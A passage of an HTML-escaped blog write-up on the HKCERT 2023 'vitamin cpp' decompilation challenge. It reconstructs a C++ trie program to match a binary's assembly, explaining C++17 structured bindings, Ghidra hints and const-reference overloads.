    string str&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    TrieNode&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; node &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;TrieNode&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;token comment&quot;&gt;// `const char*` literal is implicitly converted to std::string.&lt;/span&gt;
    node&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;insert&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&#92;x72&#92;x50&#92;x54&#92;x52&#92;x73&#92;x66&#92;x51&#92;x5a&#92;x79&#92;x72&#92;x75&#92;x4b&#92;x7f&#92;x4e&#92;x4d&#92;x55&#92;x47&#92;x7e&#92;x68&#92;x7e&#92;x72&#92;x51&#92;x42&#92;x71&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token comment&quot;&gt;// node-&amp;gt;insert(string(&quot;...&quot;)); also works&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// -- snip --&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// node-&amp;gt;insert(&quot;...&quot;);&lt;/span&gt;
    
    node&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;should_mix &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Enter [1] for insert string&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; endl&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Enter [2] for search string&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; endl&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Option: &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        cin &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; opt&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;opt &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Input string to insert: &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; endl&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            cin &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; str&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            node&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;insert&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;str&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;opt &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Input string to search: &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; endl&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            cin &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; str&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;bool&lt;/span&gt; res &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; node&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;search&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;str&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;res&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
                cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;String &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; str &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot; exists.&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; endl&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt;
                cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;String &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; str &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot; does not exists.&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; endl&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Bye&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; endl&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;From here on, we&#39;ll continue making incremental adjustments to improve our score, while learning various C++ nuances and features.&lt;/p&gt;
&lt;h3 id=&quot;on-structured-bindings&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#on-structured-bindings&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; On Structured Bindings&lt;/h3&gt;
&lt;p&gt;Here we take a detour to peek at build.sh. And something sparkly catches our eye:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;g++ &lt;span class=&quot;token string&quot;&gt;&quot;&lt;span class=&quot;token variable&quot;&gt;$@&lt;/span&gt;&quot;&lt;/span&gt; -fno-asm &lt;span class=&quot;token parameter variable&quot;&gt;-std&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;c++17 &lt;span class=&quot;token parameter variable&quot;&gt;-g&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-o&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&lt;span class=&quot;token variable&quot;&gt;$binary&lt;/span&gt;&quot;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&lt;span class=&quot;token variable&quot;&gt;$source&lt;/span&gt;&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Shell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Our code is compiled with C++17—what an oddly specific standard!&lt;/p&gt;
&lt;p&gt;One cool feature introduced by this standard is &lt;strong&gt;structured bindings&lt;/strong&gt;, which is as close as we can get to Python iterable unpacking.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; it &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; next_node&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;begin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; it &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; next_node&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;it&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;token comment&quot;&gt;// -----&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; pair &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;it&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; ch &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token generic-function&quot;&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token generic class-name&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;pair&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    TrieNode&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; node &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token generic-function&quot;&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token generic class-name&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;pair&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token comment&quot;&gt;// +++++&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;ch&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; node&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;it&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token comment&quot;&gt;// +++++&lt;/span&gt;
    new_map&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;ch &lt;span class=&quot;token operator&quot;&gt;^&lt;/span&gt; cmix&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; node&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Since &lt;code&gt;it&lt;/code&gt; is an iterator over key-value pairs, we can dereference, then bind (unpack) the pair to &lt;code&gt;ch&lt;/code&gt; and &lt;code&gt;node&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;One telltale sign of structured bindings is in the second loop of &lt;code&gt;TrieNode::mix()&lt;/code&gt;. Notice how the first item of the pair (&lt;code&gt;ch2 = std::get&amp;lt;0&amp;gt;(pair);&lt;/code&gt;) is read but never used.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;The first pair element (a character) is not used.&quot; href=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/char-not-used-1506w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100 &quot; src=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/char-not-used-1506w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1506 / 465&quot; alt=&quot;The first pair element (a character) is not used.&quot; title=&quot;The first pair element (a character) is not used.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/char-not-used-256w.webp 256w, https://trebledj.me/img/posts/ctf/hkcert23/assets/char-not-used-512w.webp 512w, https://trebledj.me/img/posts/ctf/hkcert23/assets/char-not-used-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/hkcert23/assets/char-not-used-1506w.webp 1506w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1506px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Ghidra decompilation of the second loop of &lt;code&gt;mix()&lt;/code&gt;. Notice how &lt;code&gt;ch2&lt;/code&gt; is never used. (You can also verify this by inspecting the disassembly!)&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Another giveaway is that &lt;code&gt;std::get&lt;/code&gt; is rarely used to access map pairs, unless in generic code. The idiomatic ways are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;std::pair&lt;/code&gt; members (through iterator): &lt;code&gt;it-&amp;gt;first&lt;/code&gt;, &lt;code&gt;it-&amp;gt;second&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;std::pair&lt;/code&gt; members (through pair):&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; pr &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; map&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token comment&quot;&gt;// pr.first, pr.second&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;structured bindings (since C++17)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;N.B. With optimisations, these indicators would be less obvious. Thankfully the program &lt;em&gt;wasn&#39;t&lt;/em&gt; compiled with optimisations.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;on-const-ref&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#on-const-ref&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; On Const Ref&lt;/h3&gt;
&lt;p&gt;We&#39;re still short of our target though. Some diff lines stand out:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-diff=&quot;&quot; class=&quot;language-diff-asm&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-diff-asm&quot;&gt;&lt;span class=&quot;token unchanged language-asm&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;; Extra stack variables!&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token deleted-sign deleted language-asm&quot;&gt;&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;sub     rsp&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xc8&lt;/span&gt;
&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;mov     &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;rbp&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0xc8&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; rdi
&lt;/span&gt;&lt;span class=&quot;token inserted-sign inserted language-asm&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;sub     rsp&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xb8&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;mov     &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;rbp&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0xb8&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; rdi
&lt;/span&gt;&lt;span class=&quot;token unchanged language-asm&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;; Calling the wrong overload!&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token deleted-sign deleted language-asm&quot;&gt;&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;call    _ZSt3getILm0EKcP8TrieNodeERNSt13tuple_elementIXT_ESt4pairIT0_T1_EE4typeERS7_
&lt;/span&gt;&lt;span class=&quot;token inserted-sign inserted language-asm&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;call    _ZSt3getILm0EKcP8TrieNodeERKNSt13tuple_elementIXT_ESt4pairIT0_T1_EE4typeERKS7_&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Assembly&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Extracted diff lines from compiler.py output. Red (-) indicates extra lines in our program. Green (+) indicates missing lines.&lt;/sup&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Looks like we declared 16-bytes of extra stack variables.
&lt;ul&gt;
&lt;li&gt;Local variables are stored on the stack, which allocates memory by a simple &lt;code&gt;sub&lt;/code&gt; instruction.&lt;/li&gt;
&lt;li&gt;Larger subtraction = more stack memory allocated.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;It also looks like we called the wrong overload. The mangled names — simplified for readability — translate to:&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-diff-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-diff-cpp&quot;&gt;&lt;span class=&quot;token deleted-sign deleted language-cpp&quot;&gt;&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token generic-function&quot;&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token generic class-name&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;pair&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; TrieNode&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token inserted-sign inserted language-cpp&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token generic-function&quot;&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token generic class-name&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;pair&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; TrieNode&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;We can fix both these issues by qualifying our binding as &lt;code&gt;const&amp;amp;&lt;/code&gt;.&lt;/p&gt;
